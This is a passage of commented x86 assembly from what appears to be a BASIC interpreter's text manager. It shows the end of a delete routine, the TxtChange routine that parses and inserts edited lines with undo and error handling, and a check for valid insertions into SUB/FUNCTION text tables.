.errnz DEL_forMax - DEL_opStForStep
je DelForStep ;brif deleted a FOR STEP
inc [cForDel]
jmp SHORT J1_DelNext
DelForStep:
inc [cForStepDel]
jmp SHORT J1_DelNext
DelNotFor:
cmp al,DEL_watchMax
ja NotDelWatch ;brif WATCH pcode not being deleted
call WatchDeleted ;reduce number of lines allocated to
; watch window, remember to redraw
; DebugScreen
J1_DelNext:
jmp SHORT DelNext
NotDelWatch:
cmp al,DEL_opStEndProc
jne DelNotEndProc ;brif not END DEF/SUB/FUNCTION
;user is deleting an END SUB or END FUNCTION
and [prsCur.PRS_flags],NOT FP_ENDPROC
jmp SHORT DelNext
DelNotEndProc:
cmp al,DEL_opAVtRf ;[1]
je DoResetCommon ; brif deleting a DIM statement
cmp al,DEL_opStCommon
jne DelNotCommon ;brif not COMMON
DoResetCommon:
DbAssertRelB cChansOpen,e,0,CP,<TxtDelete: Tried to delete COMMON while load is active>
call ResetCommon ;Eliminate all common type tables
call SystemDescanCP ;scanner will rebuild common tables
jmp SHORT DelNext ; for each txt tbl next scan
DelNotCommon:
cmp al,DEL_opBreakPoint
jne DelNotBreakPoint ;brif no Break Point set on this line
or [flagsTm],FTM_BpDeleted ;we deleted a break point
jmp SHORT DelNext
DelNotBreakPoint:
DbAssertRelB cChansOpen,e,0,CP,<TxtDelete: Tried to delete AS usrtyp while load is active>
DbAssertRelB al,e,DEL_opAsType,CP,<TxtDelete err 3>
;DELETING AS <usertyp>
;remember to call PreScanAsChg before scanning program
mov ax,si ;pass text offset in ax
mov bx,di ;pass otxDelFirst in bx
mov cx,[otxDelLast] ;pass otxDelLast in cx
call ChkLastAsText ;if last instance of 'x AS user-type'
; in module, reset x's NM_fAs name
; table bit and set module's
; FM_asChg bit so we'll call
; PreScanAsChg before scanner
DelNext:
push si
PUSHI ax,<CODEOFFSET tOpDel>
call TxtFindNextOp
jmp DelLoop
DelDone:
mov cx,[cbDel]
cmp [cbBigIns],0
je DelNotBig
sub [cbBigIns],cx
DelNotBig:
FloadActive ;don't update linked lists if Loading
jne DelNoThreads
push di ;pass otxDelFirst
push cx ;pass cbMove
call TxtDelThread ;update linked lists for delete
DelNoThreads:
mov si,[otxDelLast]
push si ;pass otxDelLast
push di ;pass otxDelFirst
call TxtMoveDown ;Actually delete text from text table
sub si,di ;si = cbDel
test [flagsTM],FTM_SaveProcHdr
jne DelGoodExit ;brif SaveProcHdr was in critical
; section. A temp txt table is active,
; which is NOT oRsCur.
;Update program counter and any other runtime text pointers
push di ;pass otxDelFirst
sub ax,ax
push ax ;pass cbIns (0)
push si ;pass cbDel
push ax ;fTestOnly = FALSE
call UpdatePcs
;pass information about the edit to UpdatePrs in static struct updPrs
mov ax,[grs.GRS_oRsCur]
mov [uprs.UPRS_oRsEdit],ax
mov [uprs.UPRS_otxEdit],di ;save otxDelFirst
mov [uprs.UPRS_cbDel],si
mov [uprs.UPRS_cbIns],0
mov bx,CPOFFSET UpdatePrs
call ForEachPrsInPlaceCPSav ;Preserve callers oRs
DelGoodExit:
mov ax,sp ;return TRUE (non zero)
DelExit:
or ax,ax ;set condition codes for caller
cEnd
;-------------------------------------------------------------------
; If delete would prevent continuing, & user wants to back out of edit,
; if bigEditState != BIG_EDIT_FALSE, then bigEditState = BIG_EDIT_CANCEL
; return without changing anything
;
DelBackOut:
cmp [bigEditState],BIG_EDIT_FALSE
je DelNotBigEdit ;brif not in a BigEdit
mov [bigEditState],BIG_EDIT_CANCEL
DelNotBigEdit:
sub ax,ax ;return FALSE
jmp SHORT DelExit
;**************************************************************
; ushort FAR TxtChange(otxDelFirst, otxDelLast, fNoInsert)
;
; Purpose:
; The editor or ASCII Loader calls TxtChange() to
; replace zero or more lines with zero or 1 line of text
; in the current text table. If no new text is to be inserted,
; but only deleted, call TxtChange with fNoInsert <> 0.
; TxtDescan() should be called before this, to ensure that
; the text table is descanned to SS_PARSE state.
;
; Note: This function need not worry about the case where the
; user is trying to insert something between a line with $INCLUDE
; and an included line below it, because the user interface
; does not allow ANY editting while 'View/Include Files' is active.
;
; Entry:
; grs.oMrsCur, grs.oPrsCur have their usual meaning
; ps.bdpSrc contains source line to be inserted
; parm1: ushort otxDelFirst - text table offset to opBol
; opcode for 1st line to delete. It also indicates where
; new line is to be inserted.
; parm2: ushort otxDelLast - text table offset to opBol
; opcode beyond last line to delete
; parm3: ushort fNoInsert - non-zero if no pcode should be inserted
; (i.e. only text deletion should occur
;
; Exit:
; If no errors were encountered,
; the return value = txtErr.errCode = 0.
; Else if an error occurred which we will overlook at entry time,
; but which must be considered fatal when we are going through
; each module's ReParse list in preparation to execute the program,
; return value = 0,
; txtErr.errCode = an offset into the QBI Message Table
; (MSG_xxx) or, if high bit is set, ps.bdpError contains the
; parser-built ASCII error message,
; The text is inserted in text table in an opReParse opcode.
; txtErr.fDirect is set to FALSE,
; txtErr.oMrs identifies the module with the error,
; txtErr.oPrs identifies the procedure (if any) with the error,
; txtErr.otx is an offset into the text table where the error
; was detected (otxDelFirst).
; txtErr.oSrcErr contains the column offset into the source line
; to the offending token.
; Else if its a really serious error (like out-of-memory or syntax error),
; all txtErr fields are set as above, and return value = txtErr.errCode
;
; Major Steps of Algorithm:
; Delete the pcode to be replaced (taking some special action for
; some opcodes being deleted), giving user a chance to
; back out of edit if edit would prevent continuing.
; Parse line to be inserted, checking for variable manager/syntax errors,
; again giving user a chance to back out of the edit
; Scan pcode to be inserted for rude edits, again giving user a chance
; to back out of the edit. This pcode scan can result in calling
; CantCont(), ModuleRudeEdit(), SystemDescan().
; If statement contains variable mgr/syntax errors, change pcode to
; be inserted to an opReParse, which has the actual ASCII source
; as an operand.
; Insert the new pcode (taking some special action for some opcodes
; being inserted).
;
;**************************************************************
cProc TxtChange,<PUBLIC,FAR,NODATA>,<si,di>
parmW otxDelFirst
parmW otxDelLast
parmW fNoInsert
localW fInclude
localW cbIns
localW result
localW otxMrsDelFirst
localW oRsPreParse
localW oPrsPreParse
localW otxEndProc
localB flagsPrsPreParse
localB flagsTc
FTC_GotEndProc EQU 1
FTC_GotEnterProc EQU 2
cBegin
DbAssertRelB [txdCur.TXD_scanState],ne,SS_EXECUTE,CP,<TxtChange err1>
DbChk Otx,otxDelFirst ;error if > txdCur.bdlText.cbLogical
DbChk Otx,otxDelLast ;error if > txdCur.bdlText.cbLogical
mov si,[otxDelFirst]
sub ax,ax
mov [txtErr.TXER_errCode],ax
mov [ps.PS_errCode],ax
mov [result],ax
;We need to init these vars in case we don't call ParseLine.
;(i.e. maybe the caller is only deleting text)
mov [flagsTc],al ;default local flags to 0
mov [fInclude],ax ;assume we'll see no $INCLUDE directive
mov ax,[grs.GRS_oPrsCur]
mov [oPrsPreParse],ax
cmp [bigEditState],BIG_EDIT_ACTIVE
je BigEditActive ;BpDeleted set by first BigEdit Call
; to TxtChange.
and [flagsTm],NOT FTM_BpDeleted ;clear BP deleted flag
BigEditActive:
cmp [bigEditState],BIG_EDIT_CANCEL
jne TcNotBECancel ;brif not backing out of BigEdit
jmp TcRet ;backout of BigEdit if user CANCELed
TcNotBECancel:
FLoadActive
je TcNotLoading ;brif not loading a file
jmp TcLoading1 ;brif LOADing a file - makes ASCII
; load MUCH faster.
;We're not loading, make sure there is enough memory for the
;inserted and deleted text, otherwise, it would be possible for
;Search/Change to loose an existing line entirely - too rude.
;We loosely approximate size of pcode being inserted as 200.
;Don't check it for edits of immediate (FM2_File=0), since that
;could prevent users from executing a SYSTEM statement in
;the immediate window.
TcNotLoading:
test [mrsCur.MRS_flags2],FM2_File
je NotOmErr ;brif not editing a file
cmp [fNoInsert],0 ;is there any text to parse and insert?
jne NotOmErr ;brif not - no need to reserve space
; otherwise, user could get out of
; memory, and not be able to delete
; any text to recover - locked up.
PUSHI ax,200d
call TxtFree
jne NotOmErr
jmp TcOmErr
NotOmErr:
;********************* start of revision [56]
;No edits on pcode tables are allowed if there is a return address to
;the direct mode buffer and the direct mode buffer contains a label reference
mov al,[grs.GRS_flags]
and al,FG_RetDir+FG_OtxInDir
cmp al,FG_RetDir+FG_OtxInDir
jne @F ;brif NOT (RetDir & OtxInDir)
test [mrsCur.MRS_flags2],FM2_NoPcode
jnz @F ;brif this not a pcode buffer
call AskCantCont_CP ;ask user if he wants to continue
djmp jz TcRetGoDirect ;brif user wants to backout
@@:
;*********************** end of revision [56]
;we're not loading, set DEFtypes etc. based on insert point.
;if in module, traverse DEF-FN chain to otxDelFirst
;and if we're inside a DEF-FN, PrsActivate that prs
mov bx,si ;bx = otxDelFirst
cmp [bigEditState],BIG_EDIT_ACTIVE
jne TcFindPrs ;If not in a big edit, use passed
; otxDelFirst.
;If a big edit is active, we need to stop searching the DEF FN chain
; at otxBigIns, since txt change gets called multiple times for a
; big edit. If we didn't do this, splitting a line immediately
; prior to a DEF FN could cause us to search a Bogus DEF FN chain.
mov ax,[otxBigIns] ;get oTx for start of big edit
.errnz UNDEFINED+1
inc ax ;UNDEFINED if first call to txtchg
je TcFindPrs ;brif so, use oTxDelFirst
dec ax ;get back otxBigIns
xchg ax,bx ;bx = oTxBigIns
TcFindPrs:
push bx ;pass offset to 1st byte of edit
call OPrsOfOtx ;ax = oPrs if si falls in DEF FN
inc ax ;test for UNDEFINED
je TcNotDefFn
;if we are in a big edit, we can't depend upon DEF-FN chain after
; the first call to TxtChange. Therefore, ask rude edit, to ensure
; that there is no prs for the DEF-FN. Subsequent calls will use
; the DEF FNs mrs.
cmp [bigEditState],BIG_EDIT_ACTIVE
jne TcNotBigE ;DEF-FN chain is ok.
; Assert that TcUndo won't take unexpected actions for early termination.
DbAssertRel [cbBigIns],e,0,CP,<TxtChange: DEF FN-error1>
DbAssertRel [bdlTxtScrap.BDL_status],e,NOT_OWNER,CP,<TxtChange: DEF FN-error 2>
call AskRudeEdit ;see if user wants to back out of edit
jne short TcNotDefFn ;use module Rs.
jmp TcUndo ;brif user wanted to back out of edit
TcNotBigE:
dec ax ;restore ax = oPrs we're in
push ax ;otxDelFirst falls within a DEF FN
call PrsActivateCP ;activate it (for var mgr)
; *--------------------------------------------------------------
; * Examine the block of pcode being deleted opcode by
; * opcode, taking special action for each opcode of
; * interest. May result in AskCantCont, ModuleRudeEdit, SystemDescan.
; *
; *---------------------------------------------------------------
TcNotDefFn:
test [mrsCur.MRS_flags2],FM2_NoPcode
jne TcInBigEdit ;brif editing document or immediate
; window - no need to ever back out
; of edit. If we didn't do this,
; we could get out-of-memory error
; when trying to delete immediate window
; history, which we do when we're
; trying to recover from tight memory
cmp [bigEditState],BIG_EDIT_FALSE
jne TcInBigEdit ;brif we're in a BigEdit, if so
;TxtStartBigEdit already set this
;flag, and TxtDelete may have been
;called independantly of TxtChange
mov [fFillScrap],1 ;tell TxtDelete to copy text to scrap
; so we can back-out of edit
TcInBigEdit:
push si ;pass otxDelFirst
push [otxDelLast]
call TxtDelete ;delete the text
mov [fFillScrap],FALSE
jne TcDelOk ;brif TxtDelete returned FALSE in ax
TcRetGoDirect:
mov [result], MSG_GoDirect
J1_TcRet:
jmp TcRet ;brif user wants to back out of edit
;just return without doing anything
;Set up ps.tEtCur[] with the default types for this point in the source
;
TcDelOk:
;save current oRs for reactivation
; after Redefining/Deleting undefined
; prs entries. It is guaranteed that
; that this is safe, since SUB/FUNCs
; only get PrsFreed at ?rsDiscard time.
; DEF FNs have the Mrs active at edit
; time.
call ChkAllUndefPrsSaveRs ;Find new "defining" references for all
; Prs entries which had defining.
; references deleted. If no more
; references to prs exist, free it.
cmp [fNoInsert],0 ;is there any text to parse and insert?
jne J1_TcRet ;brif not - finished
; We can't call OtxDefTypeCur if accumulating opReparses for BigEdit,
; since the linked list are not updated until we start processing the
; reparse list at TxtEndBigEdit time. The processing of the reparse
; list will insure the the DEF type state is accurate.
cmp [bigEditState],BIG_EDIT_ACTIVE
je TcDoReParse ;brif we're accumulating BigEdit
;changes, but TxtEndBigEdit has not
;been called yet
mov ax,si ;ax = text offset
call OtxDefTypeCur
TcLoading1:
test [mrsCur.MRS_flags2],FM2_NoPcode
je TcNotDoc ;brif not a document module
;this module is not BASIC source, just text (maybe Scrap,
; command window, document file)
TcDoReParse:
call ResetDstPbCur ;so ParseUndo won't do anything
jmp TcReParse1
;Parse the source line to pcode
TcNotDoc:
;tell parser (and type manager) to recognize any TYPEs which have been
; declared before the place this line is being inserted. This
; prevents forward referencing of types, which BASCOM cannot support.
mov [ps.PS_otxLine],si
;Call the parser to parse the source line. grs.oPrs is updated
;if a SUB/FUNCTION/DEF statement for an as yet undefined procedure
;is parsed, in which case, the we insert the text at the beginning
;of the new text table.
mov ax,[grs.GRS_oPrsCur]
mov [oPrsPreParse],ax
mov ax,[grs.GRS_oRsCur] ;save Entry so we can tell UI to
mov [oRsPreParse],ax ; display new text table if we create
; a new SUB/FUNCTION.
mov al,[prsCur.PRS_flags] ;get prs flags in case we insert a
mov [flagsPrsPreParse],al ;SUB/FUNCTION statement. If we are
; just renaming then FP_DEFINED will
; have be cleared when the Sub/Func
; was deleted.
Retry:
mov [ps.PS_flags],0
call ParseLine
jnc TcNoParseErr ;brif parser encountered no error
;ParseLine encountered some error
mov ax,[oPrsPreParse]
call TxtParseUndo
test [ps.PS_flags],PSF_UndoEdit
jne J1_TcUndo ;brif user said he wants to back out
; of the edit while we were in ParseLine
; (i.e. ParseLine called AskCantCont)
test BYTE PTR [ps.PS_errCode + 1],PSERR_fRude / 100h
je TcNotRude ;brif error isn't cause for a rude-edit
;Variable manager returned an error code which
;means a RudeEdit is being performed.
;Save the line in an opReParse, but do not report the error to
;the user. SsDescan the module to SS_Rude (if the user wants
;to go through with the edit).
;See if user wants to back out of edit or descan to SS_RUDE
call AskRudeEdit ;see if user wants to back out of edit
jne TcNotRude ;brif user didn't back out of edit
J1_TcUndo:
jmp TcUndo ;undo delete (if any) and return
;See if the parser wants us to try parsing this line again. This can
;happen when:
; We saw something that made us need to ModuleRudeEdit, but part
; of the line's pcode had already been emitted in SS_PARSE
; Variable manager could not add a variable, because variable heap
; was locked (because we can CONTinue). Parser called AskCantCont
; and now wants us to try again (much easier than trying to call
; varmgr again from within parser).
;
TcNotRude:
test [ps.PS_flags],PSF_fRetry
jne Retry ;brif ParseLine wants us to try again
jmp SHORT TcParseErr
TcNoParseErr:
; *--------------------------------------------------------------
; * At this point, source line has been parsed with no errors.
; * Examine the block of pcode being inserted opcode by
; * opcode, calling a text-mgr routine for each opcode of interest.
; * Each of these routines in addition to doing other work,
; * returns a value which will cause either
; * No Action, ModuleRudeEdit(), SystemDescan(), or CantCont().
; *
; * NOTE: When reviewing changes to this block, make sure it isn't possible
; * to take some state-changing action, then encounter an error which
; * causes the edit to be discarded (AskCantCont or MakeOpReParse).
; * In general, it is safer to 'remember' state changing actions to
; * be taken, and take them when the pcode has actually been inserted.
; *
; *--------------------------------------------------------------
call ChkAllUndefPrsSaveRs ;check all undefed prs entries
;in case this was a rename
push [ps.PS_bdpDst.BDP_pb]
PUSHI ax,<CODEOFFSET tOpPreIns>
call TxtFindOpDS ;ax = ptr to 1st interesting opcode
PiLoop:
cmp dl,PI_opEot
je J1_PiDone ;brif done with loop
xchg di,ax ;di = ptr to current opcode
sub dh,dh ;dx = dispatch index
shl dx,1 ;dx = dispatch offset
mov ax,di ;ax = pointer to opcode of interest
sub di,[ps.PS_bdpDst.BDP_pb] ;convert ptr to offset in case
; dispatched function causes
; ps.bdpDst to move
mov bx,dx ;bx = dispatch offset
jmp WORD PTR cs:PiDispatch[bx]
;All the PiOpxxx dispatches either branch to an error handler, or PiNext
PiNext:
add di,[ps.PS_bdpDst.BDP_pb] ;convert offset back to pointer
push di ;pass otxCur
PUSHI ax,<CODEOFFSET tOpPreIns>
call TxtFindNextOpDS ;ax = pointer to next opcode of interest
jmp SHORT PiLoop
J1_PiDone:
jmp SHORT PiDone ;finished with loop
TcParseErr:
mov ax,[ps.PS_oSrcErr]
mov [txtErr.TXER_oSrc],ax
mov ax,[ps.PS_errCode]
mov dx,ax
.errnz PSERR_fAsciiMsg - 8000h ;TxtChange callers assume it is high bit
and ah,(PSERR_fAsciiMsg + PSERR_errCode) / 100h
;mask off parser flags
;pass error code in ax to TcReParse or TcAlert
test dh,PSERR_fAlert / 100h
jne TcAlert ;serious error, event at entry time,
; let alone reparse time
jmp SHORT TcReParse ;brif not a serious error
;ax = error code
TcAlert0:
mov [txtErr.TXER_oSrc],UNDEFINED
;for txtmgr detected errors, we cant
;detect the column, compute from otx
;Encountered some error, make sure entry prs is active before
;Undoing the change. This solves the bug where you enter a
;SUB line and the SUB already exists, but is undefined
; (SUB stmt is a reparse). The line parses without error, and
;the parser changes to the new prs. When we call PrsMake, we
;get a duplicate definition error. We were getting here with
;the wrong prs active.
mov bx,[oPrsPreParse]
cmp bx,[grs.GRS_oPrsCur]
je TcAlert ;brif parser didn't move into a new PRS
push ax ;save error code
push bx
call PrsActivateCP ;get back to module level/old prs
pop ax ;recover error code
TcAlert:
cmp [fSyntaxCheck],0
je TcReParse ;brif user has disabled editor
; syntax error reporting
mov [result],ax ;serious error - return code in ax
TcReParse:
mov [txtErr.TXER_errCode],ax
TcReParse1:
mov ax,[oPrsPreParse]
call TxtParseUndo ;undo any changes to prs table or
; name table which parsing this
; line caused.
test [ps.PS_flags],PSF_fRudeIfErr
je MakeOpRp
;Some irreversible action took place, like calling varmgr to
;create a CONSTant, and then some error took place. The user
;already said he didn't want to CONT before PSF_fRudeIfErr was
;set, so its ok to blow away the module's variable table.
call ModuleRudeEdit
MakeOpRp:
call MakeOpReParse
and [flagsTc],NOT (FTC_GotEndProc+FTC_GotEnterProc)
jmp SHORT TcPrescanDone ;don't call LoadEnterProc, LoadExitProc
;si = otxDelFirst
PiDone:
FLoadActive
jne TcPrescanDone ;brif LOADing a file
test [txdCur.TXD_flags],FTX_mrs
jne TcPrescanDone ;brif we're in a module's text table
call ChkInsProc ;see if valid line to insert in proc
je TcPrescanDone ;brif valid line
jns TcAlert0 ;brif illegal
jmp J1_TcUndo ;user wants to back out of edit
;MakeOpReParse could have resulted in an out-of-memory error
;check for it
;si = otxDelFirst
;
TcPrescanDone:
mov ax,[ps.PS_errCode]
cmp al,ER_OM
je J1_TcOmErr ;brif out-of-memory error
; *--------------------------------------------------------------
; * At this point, the user does not want to back out of the edit
; * for the sake of edit & continue, and we are not going to
; * convert the line to an opReParse due to errors.
; *--------------------------------------------------------------
sub [ps.PS_bdpDst.BDP_cbLogical],2 ;don't count opEot as part
; of the line to be inserted
;make room for new text by copying old text up in memory
;making sure there's enough free space in the current text table
;to insert the pcode we want to insert
;si = otxDelFirst
;
TcDoMove1:
mov ax,[ps.PS_bdpDst.BDP_cbLogical]
mov [cbIns],ax
call TxtInsert ;insert ps.bdpDst in text table @ si
je J1_TcOmErr ;brif out-of-memory
; *--------------------------------------------------------------
; * If we've gotten a SUB or FUNCTION statement
; * Move SUB/FUNCTION statement to a new PRS text table,
; * generating synthetic DEFxxx statements, and keeping leading
; * comments in SUB/FUNCTION's text table.
; *
; * NOTE: LoadEnterProc modifies ps.bdpDst
; * It also moves REMs from the module table to the start of
; * the procedure text table, since these REMs may be a proc header.
; * otxDelFirst (si) is updated to reflect this insert.
; *
; *--------------------------------------------------------------
;
TcAfterIns:
test [flagsTc],FTC_GotEnterProc
je TcNoEnterProc ;brif not inserting SUB/FUNC stmt
sub si,[txdCur.TXD_bdlText_cbLogical]
push [otxMrsDelFirst]
call LoadEnterProc ;move pcode from module to proc tbl
jne TcNotOm3
call PrsDeactivate ;make module active for error recovery
J1_TcOmErr:
jmp TcOmErr ;brif out-of-memory error
TcNotOm3:
;update otxDelFirst after copying leading remarks, defints etc. to prs
add si,[txdCur.TXD_bdlText_cbLogical]
; *--------------------------------------------------------------
; * Call TxtInsUpdate to examine every opcode which was inserted
; * in the text table, taking any opcode specific action required.
; *
; *--------------------------------------------------------------
;
TcNoEnterProc:
mov bx,si ;bx = updated otxDelFirst
add bx,[cbIns] ;bx = offset beyond inserted pcode
call TxtInsUpdate ;update program counter and other
; static entries which are affected
; by pcode movement.
je J1_TcOmErr ;brif out-of-memory
cmp [bigEditState],BIG_EDIT_FALSE
je TcNotInBigEdit ;brif we're not accumulating BigEdit
; changes
test [flagsTc],FTC_GotEnterProc
jnz TcNoIncr ;don't increment cbBigIns if proc
mov ax,[cbIns]
add [cbBigIns],ax ;remember how much text we've inserted
TcNoIncr:
cmp si,[otxBigIns]
jae TcNotInBigEdit
mov [otxBigIns],si ;remember base of inserted pcode
; (so we can later back out of BigEdit)
; *--------------------------------------------------------------
; * If we've gotten an END SUB or END FUNCTION statement
; * restore the module's text table.
; *
; *--------------------------------------------------------------
;
TcNotInBigEdit:
test [flagsTc],FTC_GotEndProc
je TcNoExitProc
FLoadActive
je TcNoExitProc ;brif not LOADing a file
call LoadExitProc ;clean up, return to Module level
jnc TcNoExitProc
jmp TcOmErr ;brif out of memory error
TcNoExitProc:
test [flagsTm],FTM_BpDeleted
je TcNoBp ;brif breakpoint was not deleted
push si ;pass otxDelFirst
call LnOfOtx ;ax = line text was inserted
push ax
call FAR PTR ToggleBp ;set breakpoint
and [flagsTm],NOT FTM_BpDeleted ;clear BP deleted flag
cmp [bigEditState],BIG_EDIT_ACTIVE
jne TcNoBp ;brif we're not accumulating BigEdit
; changes
add [cbBigIns],2 ;2 more bytes for inserted BP
; *--------------------------------------------------------------
; * If this line had an $INCLUDE 'filename' directive, recurse here.
; *--------------------------------------------------------------
;
DbPub TcNoBp
TcNoBp:
cmp [fInclude],NULL
je J_TcRet ;brif line contained no $INCLUDE
cmp [txtErr.TXER_errCode],0
je @F
J_TcRet:
jmp SHORT TcRet ; brif $INCLUDE line has error in it
@@:
PUSHI ax,<dataOFFSET b$SdBuf1>;bx = SD for filename.
inc [cInclNest]
mov ax,si ;ax = otxDelFirst
add ax,[cbIns] ;ax = offset beyond inserted text
push ax ;pass insertion point to LoadFile
inc [fLoadInclude] ; inform LoadFile of $INCLUDE
call LoadFile ;merge the $INCLUDE file
dec [fLoadInclude] ; reset flag
dec [cInclNest]
or ax,ax
jz TcNoErr ;brif no $INCLUDE error
; If we fell into TcRet, we would
; be over-writing errors already
; recorded by recursive calls to
; TxtChange via LoadFile.
TcIncErr:
push ds
pop es ;ES=DGROUP for stosw
mov di,[ps.PS_bdpDst.BDP_pb]
mov [ps.PS_bdpDst.BDP_cbLogical],6
mov ax,opReParse
stosw ;insert opReParse in text table
mov ax,2
stosw ;insert cb field in text table
;garbage link field is ok for now
xchg ax,si ;pass otxDelFirst in ax
call TxtSkipOp ;ax = adr of 1st opcode after Bol
xchg si,ax ;si = adr of place to insert opReParse
call TxtInsert
mov bx,si
add bx,6 ;bx = offset beyond inserted pcode
call TxtInsUpdate
TcRet:
cmp [txtErr.TXER_errCode],0
je TcNoErr
;tell caller which Mrs & Prs the error occurred in
mov [txtErr.TXER_fDirect],FALSE
mov ax,[grs.GRS_oRsCur]
mov [txtErr.TXER_oRs],ax
mov [txtErr.TXER_otx],si
TcNoErr:
cmp [bigEditState],BIG_EDIT_FALSE
jne TcExit ;brif in a BigEdit, accumulate changes
cmp [bdlTxtScrap.BDL_status],NOT_OWNER
je TcExit
PUSHI ax,<dataOFFSET bdlTxtScrap>
call BdlFree ;release DELETE scrap
TcExit:
test [txdCur.TXD_flags],FTX_mrs ;make sure current oRs has a
; text table
je TcExit1 ;brif sub or function is active
call PrsDeactivate ;deactivate DEF FN if any
TcExit1:
DbChk TxdOps ;see if TxtChange inserted bad opcode
mov ax,[result] ;return error code or 0 in ax
cEnd
TcOmErr:
mov ax,ER_OM ;out-of-memory error
mov [txtErr.TXER_errCode],ax
mov [result],ax
J2_TcRet:
jmp SHORT TcRet ;just return
;The user has decided to back out of the edit, because it would prevent CONT
;reinsert deleted text (if any).
;
; If bigEditState != BIG_EDIT_FALSE
; If cbBigIns > 0, TxtDelete(otxBigIns, otxBigIns + cbBigIns)
; bigEditState = BIG_EDIT_CANCEL
; If bdTxtScrap is not empty, Insert bdTxtScrap at otxScrap
;
TcUndo:
mov ax,MSG_GoDirect
mov [result],ax ;tell editor to stop the edit
mov [txtErr.TXER_errCode],ax
cmp [bigEditState],BIG_EDIT_FALSE
je NotInBigEdit ;brif not in BigEdit
mov cx,[cbBigIns]
jcxz TcNoIns ;brif no text has been inserted
mov ax,[otxBigIns]
push ax
add ax,cx ;ax = offset beyond inserted text
push ax
call TxtDelete ;delete the inserted text
; doesn't place deleted text in scrap
; either because fFillScrap is false
; or scrap is already in use
TcNoIns:
mov [bigEditState],BIG_EDIT_CANCEL
NotInBigEdit:
cmp [bdlTxtScrap.BDL_status],NOT_OWNER
je J2_TcRet ;brif no text deleted - done with undo
mov ax,[bdlTxtScrap.BDL_cbLogical] ;ax = number of bytes in scrap
cmp ax,2 ; check for empty scrap
jb J2_TcRet ; bfir empty scrap - done.
mov [cbins],ax ;store this in [cbins] static
; CALL TxtInsScrap(si = otxScrap) [9]
mov si,[otxScrap] ;si = insertion point in
; current text table
call TxtInsScrap ;copy scrap back into text table and
; release bdlTxtScrap
jz TcOmErr
jmp TcAfterIns
;
;**************************************************************
; ChkInsProc
; Purpose:
; We're not loading and we're inserting a line in a SUB/FUNCTION
; text table. This function sees if it is legal.
; Entry:
; si = text offset where line is being inserted in SUB/FUNCTION
; Exit:
; ax = error code if illegal line to insert in a SUB/FUNCTION
; = 0 if no error
; = negative number if user wants to back out
; condition codes set based on value in ax
;
;**************************************************************
DbPub ChkInsProc
ChkInsProc PROC NEAR
DbChk Otx,si ;error if > txdCur.bdlText.cbLogical
push di ;preserve caller's di
test [prsCur.PRS_flags],FP_DEFINED
je CiNotDefined ;brif proc has no SUB/FUNCTION stmt
cmp [prsCur.PRS_otxDef],si
jae CiNotDefined ;brif insertion is before definition
jmp CiDone ;insertion is after definition
CiNotDefined:
;Trying to insert something into SUB/FUNCTION window before
;the SUB/FUNCTION definition. Only certain things can
;be inserted before the definition - make sure this is
;one of them
push si ;save si
sub si,si ;set fNonBolSeen=fSubOrFuncSeen=false
; the high bit set means an opStSub,
; or opStFunction has been seen,
; when si is non-zero then we have
; seen some non-bol/non opEot opcode.
mov di,[ps.PS_bdpDst.BDP_pb] ;di->start of pcode to insert (in DS)
;di = otxCur (into parser's DS pcode buffer ps.bdpDst)
CiLoop:
mov ax,[ps.PS_bdpDst.BDP_pb]
add ax,[ps.PS_bdpDst.BDP_cbLogical]
dec ax
dec ax
cmp di,ax
jae CiLoopExit ;brif done scanning line to be inserted
push di ;pass otxCur
PUSHI ax,<CODEOFFSET tOpPreProc>
call TxtFindNextOpDS ;ax = offset to next interesting opcode
cmp dl,PREPROC_bolMax ;are we looking at a bol opcode?
jbe CiLoopNext ;brif so
cmp dl,PREPROC_opEot ;at end of text?
je CiLoopNext ;brif so
cmp dl,PREPROC_opStEndProc ;is this an opStEndproc?
jne CiNotEndProc ;brif not
or si,si ;have we seen preceding OpStSub/Function
jns CiInvBeforeProc ;brif not, illegal before SUB/FUNCTION
CiNotEndProc:
cmp dl,PREPROC_SubOrFuncMin ;is this opStSub or opStFunction?
jb CiNotSubOrFunc
or si,8000H ;set sub of function seen flag
CiNotSubOrFunc:
or si,1 ;set fNonBolSeen flag
CiLoopNext:
push di ;pass otxCur
mov di,ax ;di = otxNext
sub ax,ax ;just get next opcode (not next found in
push ax ; some list)
call TxtFindNextOpDS ;ax = offset to next opcode
cmp ax,di
je CiLoop ;brif opcode is in list
or si,si ;have we seen a SUB or FUNCTION?
js CiLoop ;brif so - ok if after SUB.
;some invalid opcode was found in line
CiInvBeforeProc:
pop si ;recover otx
mov ax,MSG_InvBeforeProcDef
jmp SHORT CiExit
CiLoopExit:
or si,si ;did we see a non-bol?
pop si ;recover otx
jne CiDone ;brif non-Bol seen
cmp [txdCur.TXD_bdlText_cbLogical],CB_EMPTY_TEXT ;is txt tbl empty?
je CiDone ;brif so, allow an opBol
; Inserting a blank line, see if user will allow a single quote rem instead
; We do this so ascii save/ascii load will be able to migrate
; comment blocks correctly with text tables.
;
sub ax,[ps.PS_bdpDst.BDP_pb] ;convert ptr to offset, AskMakeRem
; can cause heap movement
xchg ax,di ;di = offset to opEot
call AskMakeRem ;ask if usr would like a comment instead
add di,[ps.PS_bdpDst.BDP_pb] ;convert offset back to ptr to opEot
or ax,ax ;does user want to back out of edit?
mov ah,-1 ;prepare for back-out
je CiExit ;return high bit set for backout
mov ax,opQuoteRem ;get single quote rem opcode
xchg ax,[di] ;xchg opQuoteRem for opEot
DbAssertRel ax,e,opEot,CP,<ChkInsProc: expected opEot>
push ax ;push opEot (will be emitted last)
sub ax,ax
push ax ;push column for opQuoteRem
inc ax
inc ax ;2 bytes of REM (for column field)
call Emit16_AX ;emit cbRem
call Emit16 ;emit Column (already on stack)
call Emit16 ;emit opEot to ps.pbDst
; (already on stack)
CiDone:
test [prsCur.PRS_flags],FP_ENDPROC
je CiOk ;brif proc has no END SUB/FUNCTION
cmp [ps.PS_bdpDst.BDP_cbLogical],4
jbe CiOk ;brif not inserting a blank line
;user is trying to append something more than a blank
;line (opBol,opEot). See if its beyond the END SUB/FUNCTION statement
sub ax,ax ;search from top of table
push ax
PUSHI ax,<CODEOFFSET tOpEndProc>
call TxtFindOp ;ax = offset to END SUB/FUNCTION
cmp ax,si
jae CiOk ;brif inserted before END SUB/FUNCTION
mov ax,MSG_EndProc
SKIP2_PSW ;skip next instruction
CiOk:
sub ax,ax ;return FALSE (no error)
CiExit:
or ax,ax ;set condition codes for caller
pop di ;restore caller's di
ret
ChkInsProc ENDP
;-------------------------------------------------------------------
; Opcode specific code which gets executed BEFORE pcode is inserted
; in text table. Pixxx stands for Pre Insert <opcode name>
; All of this 'functions' enter with:
; si = otxDelFirst
